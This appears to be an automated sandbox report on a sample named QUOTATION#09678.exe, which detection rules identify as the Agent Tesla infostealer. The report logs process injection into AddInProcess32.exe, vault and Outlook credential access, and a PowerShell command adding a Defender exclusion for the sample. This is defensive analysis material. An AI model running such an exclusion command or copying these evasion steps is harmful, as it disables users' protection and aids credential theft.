Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION#09678.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B880810	0_2_00007FFD9B880810
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88E395	0_2_00007FFD9B88E395
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B883F90	0_2_00007FFD9B883F90
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B883FA0	0_2_00007FFD9B883FA0
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B888E18	0_2_00007FFD9B888E18
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88BA11	0_2_00007FFD9B88BA11
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88B630	0_2_00007FFD9B88B630
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B894589	0_2_00007FFD9B894589
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B950050	0_2_00007FFD9B950050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02CA4A80	4_2_02CA4A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02CAD808	4_2_02CAD808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02CA3E68	4_2_02CA3E68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02CA41B0	4_2_02CA41B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_069A9511	4_2_069A9511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_069A4128	4_2_069A4128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A7F7B0	4_2_06A7F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A787F0	4_2_06A787F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A7B390	4_2_06A7B390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A70040	4_2_06A70040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A7E850	4_2_06A7E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A759B0	4_2_06A759B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A731F8	4_2_06A731F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A78F10	4_2_06A78F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_06A7ACB0	4_2_06A7ACB0

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1104 -s 1516

Source: QUOTATION#09678.exe

Static PE information: No import functions for PE file found

Source: QUOTATION#09678.exe, 00000000.00000000.1702433313.000001F3CE276000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDwrqwsarwq.exe6 vs QUOTATION#09678.exe
Source: QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8d205da5-a06f-41c4-923e-b97a14abb967.exe4 vs QUOTATION#09678.exe
Source: QUOTATION#09678.exe	Binary or memory string: OriginalFilenameDwrqwsarwq.exe6 vs QUOTATION#09678.exe

Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: QUOTATION#09678.exe, --------------------.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, hcbDrTLwTC.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, CMQvPoq8cy.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, e5d0T5Np.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, 71JxQ8.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, CnG3o.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, 2FAFIfKp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, gdOsx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, gdOsx.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@11/10@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3400:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1104

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ammgx2j.24r.ps1

Jump to behavior

Source: QUOTATION#09678.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTATION#09678.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: QUOTATION#09678.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

File read: C:\Users\user\Desktop\QUOTATION#09678.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION#09678.exe "C:\Users\user\Desktop\QUOTATION#09678.exe"
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1104 -s 1516
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: QUOTATION#09678.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTATION#09678.exe

Static file information: File size 2313878 > 1048576

Source: QUOTATION#09678.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb0 source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.pdbh source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERF85.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdbh source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WERF85.tmp.dmp.8.dr

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B8877CE pushad ; iretd	0_2_00007FFD9B88785D
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B888167 push ebx; ret	0_2_00007FFD9B88816A
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88796B push ebx; retf	0_2_00007FFD9B88796A
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FFD9B88796B push eax; retf	0_2_00007FFD9B8879AD
